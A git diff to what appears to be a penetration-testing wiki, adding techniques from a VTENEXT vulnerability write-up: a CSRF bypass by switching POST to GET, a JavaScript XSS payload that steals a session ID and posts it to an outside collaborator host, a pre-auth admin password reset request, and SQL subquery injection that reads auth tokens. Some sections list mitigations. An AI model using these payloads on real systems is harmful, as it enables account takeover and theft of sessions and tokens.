diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 1b7dd7d04..ed89bd796 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -37,9 +37,39 @@ Understanding and implementing these defenses is crucial for maintaining the sec ## Defences Bypass -### From POST to GET +### From POST to GET (method-conditioned CSRF validation bypass) -Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**. +Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like: + +```php +public function csrf_check($fatal = true) { + if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF + // ... validate __csrf_token here ... +} +``` + +If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token. + +Example: + +- Original POST with token (intended): + + ```http + POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1 + Content-Type: application/x-www-form-urlencoded + + __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] + ``` + +- Bypass by switching to GET (no token): + + ```http + GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] HTTP/1.1 + ``` + +Notes: +- This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json. +- Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely. ### Lack of token @@ -684,9 +714,6 @@ with open(PASS_LIST, "r") as f: - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) - -​ +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 328bb0e93..7221852ae 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -691,7 +691,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: @@ -750,6 +750,9 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) +- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) +- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) +- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index faf47cdc2..93b544f9b 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -70,6 +70,15 @@ cookie-jar-overflow.md {{#endref}} - It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies +- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern: + +```js +// Extract content between ... +const re = /([\s\S]*?)/; +fetch('/index.php?module=Touch&action=ws') + .then(r => r.text()) + .then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); }); +``` ### Secure @@ -327,7 +336,9 @@ There should be a pattern (with the size of a used block). So, knowing how are a - [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) - [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) - [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) +- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181) +- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it) +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 6cabbd575..363d27e32 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -247,10 +247,50 @@ uuid-insecurities.md print("[+] Attck stopped") ``` +## Arbitrary password reset via skipOldPwdCheck (pre-auth) + +Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth. + +Vulnerable pattern (PHP): + +```php +// hub/rpwd.php +RequestHandler::validateCSRFToken(); +$RP = new RecoverPwd(); +$RP->process($_REQUEST, $_POST); + +// modules/Users/RecoverPwd.php +if ($request['action'] == 'change_password') { + $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']); +} + +public function displayChangePwd($smarty, $username, $newpwd) { + $current_user = CRMEntity::getInstance('Users'); + $current_user->id = $current_user->retrieve_user_id($username); + // ... criteria checks omitted ... + $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true + emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); +} +``` + +Exploitation request (concept): + +```http +POST /hub/rpwd.php HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! +``` + +Mitigations: +- Always require a valid, time-bound reset token bound to the account and session before changing a password. +- Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password. +- Invalidate all active sessions and reset tokens after a password change. + ## References - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index b99b5d6e3..53ba19bf3 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -621,6 +621,37 @@ Or using a **comma bypass**: This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) +### Column/tablename injection in SELECT list via subqueries + +If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is: + +```php +// Pseudocode +$fieldname = $_REQUEST['fieldname']; // attacker-controlled +$tablename = $modInstance->table_name; // sometimes also attacker-influenced +$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param +$stmt = $db->pquery($q, [$rec_id]); +``` + +Exploitation idea: inject a subquery into the field position to exfiltrate arbitrary data: + +```sql +-- Legit +SELECT user_name FROM vte_users WHERE id=1; + +-- Injected subquery to extract a sensitive value (e.g., password reset token) +SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1; +``` + +Notes: +- This works even when the WHERE clause uses a bound parameter, because the identifier list is still string-concatenated. +- Some stacks additionally let you control the table name (tablename injection), enabling cross-table reads. +- Output sinks may reflect the selected value into HTML/JSON, allowing XSS or token exfiltration directly from the response. + +Mitigations: +- Never concatenate identifiers from user input. Map allowed column names to a fixed allow-list and quote identifiers properly. +- If dynamic table access is required, restrict to a finite set and resolve server-side from a safe mapping. + ### WAF bypass suggester tools @@ -640,5 +671,8 @@ https://github.com/m4ll0k/Atlas https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt {{#endref}} -​ +## References + +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) + {{#include ../../banners/hacktricks-training.md}}